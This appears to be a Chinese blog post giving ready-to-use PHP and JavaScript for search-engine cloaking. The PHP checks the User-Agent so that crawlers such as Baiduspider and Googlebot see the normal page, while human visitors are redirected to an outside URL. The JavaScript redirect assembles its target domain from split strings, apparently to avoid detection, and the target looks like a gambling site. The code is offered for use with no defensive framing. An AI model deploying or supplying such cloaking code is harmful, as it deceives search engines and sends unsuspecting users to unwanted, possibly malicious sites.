判断是否为百度蜘蛛访问跳转代码

admin4年前85856

$flag = false;

$tmp = $_SERVER['HTTP_USER_AGENT'];

if(strpos($tmp, 'Googlebot') !== false){

  $flag = true;

} else if(strpos($tmp, 'Baiduspider') >0){

  $flag = true;

} else if(strpos($tmp, 'Yahoo! Slurp') !== false){

  $flag = true;

} else if(strpos($tmp, 'msnbot') !== false){

  $flag = true;

} else if(strpos($tmp, 'Sosospider') !== false){

  $flag = true;

} else if(strpos($tmp, 'YodaoBot') !== false || strpos($tmp, 'OutfoxBot') !== false){

  $flag = true;

} else if(strpos($tmp, 'Sogou web spider') !== false || strpos($tmp, 'Sogou Orion spider') !== false){

  $flag = true;

} else if(strpos($tmp, 'fast-webcrawler') !== false){

  $flag = true;

} else if(strpos($tmp, 'Gaisbot') !== false){

  $flag = true;

} else if(strpos($tmp, 'ia_archiver') !== false){

  $flag = true;

} else if(strpos($tmp, 'altavista') !== false){

  $flag = true;

} else if(strpos($tmp, 'lycos_spider') !== false){

  $flag = true;

} else if(strpos($tmp, 'Inktomi slurp') !== false){

  $flag = true;

}

if($flag == false){

  header("refresh:5;url=//www.0h.net.cn/c.php?id=19");


  echo '正在加载,请稍等...<br>五秒后自动跳转。';

  // echo "正在跳转中";

  // sleep(5);

  // header("Location: //www.baidu.com/news" . $_SERVER['']);

  

  // $_SERVER['REQUEST_URI'] 为域名后面的路径

  // 或换成header("Location: //www.baidu.com/abc/d.php");

  exit();

}




js跳转方式


<html>

 <head>

 <meta charset="utf-8">

  <title>正在进入</title>

<script>

var _hmt = _hmt || [];

(function() {

  var hm = document.createElement("script");

  hm.src = "https://hm.baidu.com/hm.js?81bda7c3b0abf0a415a5e49529763279";

  var s = document.getElementsByTagName("script")[0]; 

  s.parentNode.insertBefore(hm, s);

})();

</script>

 </head>

 <body bgcolor="white">

  <center>

   <h1 style="font-size:36px;">正在进入..1..</h1>

  </center>

<script>

var gotourl = 'https://' + 'www.365v20' + '.com/?p=25642579'; 

setTimeout(function() {

    window.location.href = gotourl;

}, 600);

</script>

 </body>

</html>


网友评论